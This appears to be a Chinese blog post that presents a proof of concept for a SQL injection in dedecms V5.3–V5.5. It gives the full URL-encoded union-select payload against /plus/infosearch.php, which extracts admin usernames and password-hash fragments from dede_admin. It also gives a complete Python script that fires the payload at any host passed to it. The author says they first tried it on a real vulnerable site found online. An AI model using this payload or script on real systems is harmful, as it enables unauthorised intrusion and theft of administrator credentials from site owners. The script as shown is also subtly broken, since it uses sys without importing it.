0day Poc编写指南(实战篇)

为了证明某些人无脑喷咱家脚本hacker小子,所以呢,有必要证明一下,咱家也是有实力去写POC的,只是不喜欢花时间重复造*而已,POC还是喜欢用PY来写,别问我为什么不用Csharp,方便某些玩Linux的小伙伴,嗯嗯,跨平台移植性的一个问题
首先呢,小编在某站点有幸得到某编写好的POC,该POC针对dedecms V5.3-V5.5,可直接注入获取管理员账号与密码,原理呢,SQL Injection不多说.
OK, 切入正题.
首先找个存在该漏洞的站点证明POC.
然后封包嗅探该POC发出的数据包 0day Poc编写指南(实战篇)   发现该POC是发送的GET请求,也就是GET注入,payload为/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,concat(0xB9DCC0EDD4B1A3BA,userid),4,concat(0xC3DC5EC2EB,substring(pwd,9,16)),6%20from%20dede_admin%23 验证: 0day Poc编写指南(实战篇) 然后POC思路呢就出来了 1.可以直接调用浏览器打开带了POC的url//选写:还可以用浏览器控件打开在获取账号与密码元素的innerText 2.发送HTTP Request获取Response的Stream,把byte转成string之后,该怎么匹配怎么匹配 这里就选择最简单的一个POC实现//选1 实现:在获取到输入的url之后加上我们的payload之后,发送GET请求之后,返回响应的状态码应该要为200否则我们认为该站点不存在该0day,状态码返回正确   urllib   库 我们在调用浏览器打开,然后我们还需要用到 webbrowser 库
OK思路理好,然后开始写 首先定义简体中文编码
#! /usr/bin/env python
# coding=utf-8

导入需要用到的类库

import urllib
import webbrowser

定义一个函数输出信息,可以用作提示信息或者欢迎界面啥的

def welcome():
    print("description:\n\tdedecmsV5.3-V5.5 0day Poc\n\tIf the 0day exists, I will call your default browser to open the URL with the payload\n\tTerms of Use:\n\t\t*.py -u dedems root directory address\n\t\t*.py -u https://www.google.com\n")

在定义一个方法用来执行功能部分

def main():
    try:
       if len(sys.argv) == 3 and sys.argv[1].lower() == '-u':
           host=sys.argv[-1]
           status_code=urllib.urlopen(host).getcode()
           if status_code == 200:
               host=sys.argv[-1]+"/plus/infosearch.php?action=search&q=%cf%27%20union%20select%201,2,concat(0xB9DCC0EDD4B1A3BA,userid),4,concat(0xC3DC5EC2EB,substring(pwd,9,16)),6%20from%20dede_admin%23"
               status_code=urllib.urlopen(host).getcode()
               if status_code == 200:
                   webbrowser.open_new(host)
               else:
                    print("The vulnerability does not exist")
           else:
                print("The target is not in the state!")
    except:
        print('Terms of Use:*.py -u https://www.google.com')

最后调用

if __name__ == '__main__':
    welcome()
    main()

完全OJBK,还有一个问题,某些404或者其他状态码自定义的 200可能会导致认为存在的页面调用浏览器打开,点到为止,差不多得了,咳咳

github传送门

0day Poc编写指南(实战篇)

上一篇:微信0day复现


下一篇:解决微信0day上线CobaltStike的几个问题